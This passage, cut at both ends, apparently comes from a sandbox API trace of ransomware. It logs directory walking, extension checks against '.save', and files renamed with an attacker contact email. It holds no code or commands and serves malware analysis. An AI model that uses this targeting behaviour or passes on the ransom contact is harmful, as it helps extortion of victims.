lpString2=".save") returned -1 [0205.734] lstrlenW (lpString=".ppm") returned 4 [0205.734] lstrcmpiW (lpString1=".ppm", lpString2="save") returned -1 [0205.734] lstrlenW (lpString=".pps") returned 4 [0205.734] lstrcmpiW (lpString1=".pps", lpString2="save") returned -1 [0205.734] lstrlenW (lpString=".ppsm") returned 5 [0205.734] lstrcmpiW (lpString1=".ppsm", lpString2=".save") returned -1 [0205.734] lstrlenW (lpString=".ppt") returned 4 [0205.734] lstrcmpiW (lpString1=".ppt", lpString2="save") returned -1 [0205.734] lstrlenW (lpString=".pptm") returned 5 [0205.734] lstrcmpiW (lpString1=".pptm", lpString2=".save") returned -1 [0205.734] lstrlenW (lpString=".pptx") returned 5 [0205.734] lstrcmpiW (lpString1=".pptx", lpString2=".save") returned -1 [0205.734] lstrlenW (lpString=".prn") returned 4 [0205.734] lstrcmpiW (lpString1=".prn", lpString2="save") returned -1 [0205.734] lstrlenW (lpString=".ps") returned 3 [0205.734] lstrcmpiW (lpString1=".ps", lpString2="ave") returned -1 [0205.734] lstrlenW (lpString=".psb") returned 4 [0205.734] lstrcmpiW (lpString1=".psb", lpString2="save") returned -1 [0205.734] lstrlenW (lpString=".psd") returned 4 [0205.734] lstrcmpiW (lpString1=".psd", lpString2="save") returned -1 [0205.735] lstrlenW (lpString=".pst") returned 4 [0205.735] lstrcmpiW (lpString1=".pst", lpString2="save") returned -1 [0205.735] lstrlenW (lpString=".ptx") returned 4 [0205.735] lstrcmpiW (lpString1=".ptx", lpString2="save") returned -1 [0205.735] lstrlenW (lpString=".pub") returned 4 [0205.735] lstrcmpiW (lpString1=".pub", lpString2="save") returned -1 [0205.735] lstrlenW (lpString=".pwm") returned 4 [0205.735] lstrcmpiW (lpString1=".pwm", lpString2="save") returned -1 [0205.735] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed6c16, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6ed6c16, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6ed6c16, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="OOBE_2~1.SAV")) returned 1 [0205.735] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efcda1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6efcda1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f230d1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 1 [0205.736] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6efcda1, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6efcda1, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f230d1, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 0 [0205.736] FindClose (in: hFindFile=0x5da3d0 | out: hFindFile=0x5da3d0) returned 1 [0205.737] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4251060 | out: hHeap=0x5c0000) returned 1 [0205.737] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0205.737] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4251060 [0205.737] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x5da3d0 [0205.738] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1 [0205.738] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9582c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f9582c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6fbba69, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="GetCurrentOOBE.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="GETCUR~2.SAV")) returned 1 [0205.738] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f5159d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f5159d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x721ded6, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="GetCurrentRollback.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="GETCUR~1.SAV")) returned 1 [0205.739] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe1d31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6fe1d31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x72441bf, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="PartnerSetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PARTNE~1.SAV")) returned 1 [0205.739] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fe1d31, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6fe1d31, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="preoobe.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="PREOOB~1.SAV")) returned 1 [0205.739] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702e12c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x702e12c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="SetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPC~1.SAV")) returned 1 [0205.739] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702e12c, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x702e12c, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x702e12c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe727, dwReserved1=0x3f1, cFileName="SetupComplete.cmd.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPC~1.SAV")) returned 0 [0205.739] FindClose (in: hFindFile=0x5da3d0 | out: hFindFile=0x5da3d0) returned 1 [0205.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4251060 | out: hHeap=0x5c0000) returned 1 [0205.740] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0205.740] FindClose (in: hFindFile=0x5da390 | out: hFindFile=0x5da390) returned 1 [0205.740] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x5c0000) returned 1 [0205.742] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x3defcf8 | out: lpFindFileData=0x3defcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0205.742] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0205.743] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName=".", cAlternateFileName="")) returned 0x5da390 [0205.743] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="..", cAlternateFileName="")) returned 1 [0205.743] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0205.743] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.744] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x5da3d0 [0205.744] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.744] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f5159d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f5159d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f6f529, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 1 [0205.744] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f5159d, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f5159d, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f6f529, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 0 [0205.744] FindClose (in: hFindFile=0x5da3d0 | out: hFindFile=0x5da3d0) returned 1 [0205.744] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.744] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0205.744] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.744] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x5da3d0 [0205.745] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.745] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9febb52a, ftCreationTime.dwHighDateTime=0x1d535a3, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0205.745] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f6f529, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f6f529, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f9582c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 1 [0205.745] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6f6f529, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x6f6f529, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x6f9582c, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="desktop.ini.id-B4197730.[seavays@aol.com].save", cAlternateFileName="DESKTO~1.SAV")) returned 0 [0205.745] FindClose (in: hFindFile=0x5da3d0 | out: hFindFile=0x5da3d0) returned 1 [0205.745] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x5c0000) returned 1 [0205.745] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x9febb52a, ftLastAccessTime.dwHighDateTime=0x1d535a3, ftLastWriteTime.dwLowDateTime=0x9febb52a, ftLastWriteTime.dwHighDateTime=0x1d535a3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0205.745] FindClose (in: hFindFile=0x5da390 | out: hFindFile=0x5da390) returned 1 [0205.745] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x5c0000) returned 1 [0205.746] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x3defcf8 | out: lpFindFileData=0x3defcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0205.747] FindNextFileW (in: hFindFile=0x5da310, lpFindFileData=0x3defcf8 | out: lpFindFileData=0x3defcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77870000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0205.747] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0205.747] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName=".", cAlternateFileName="")) returned 0x5da390 [0205.748] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xb90f707, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0xb90f707, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="..", cAlternateFileName="")) returned 1 [0205.748] FindNextFileW (in: hFindFile=0x5da390, lpFindFileData=0x3defa7c | out: lpFindFileData=0x3defa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c6, dwReserved1=0xffffbdd5, cFileName="1025", cAlternateFileName="")) returned 1 [0205.748] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0205.748] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName=".", cAlternateFileName="")) returned 0x5da3d0 [0205.749] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="..", cAlternateFileName="")) returned 1 [0205.749] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7708c77, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x7708c77, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x7708c77, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="eula.rtf.id-B4197730.[seavays@aol.com].save", cAlternateFileName="EULART~1.SAV")) returned 1 [0205.750] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x737fee6, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x737fee6, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="LocalizedData.xml.id-B4197730.[seavays@aol.com].save", cAlternateFileName="LOCALI~1.SAV")) returned 1 [0205.750] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x739b662, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x739b662, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 1 [0205.750] FindNextFileW (in: hFindFile=0x5da3d0, lpFindFileData=0x3def800 | out: lpFindFileData=0x3def800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x739b662, ftCreationTime.dwHighDateTime=0x1d5359b, ftLastAccessTime.dwLowDateTime=0x739b662, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x73c185d, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffdbd5, dwReserved1=0x3c7, cFileName="SetupResources.dll.id-B4197730.[seavays@aol.com].save", cAlternateFileName="SETUPR~1.SAV")) returned 0 [0205.750] FindClose (in: hFindFile=0x5da3d0 | out: 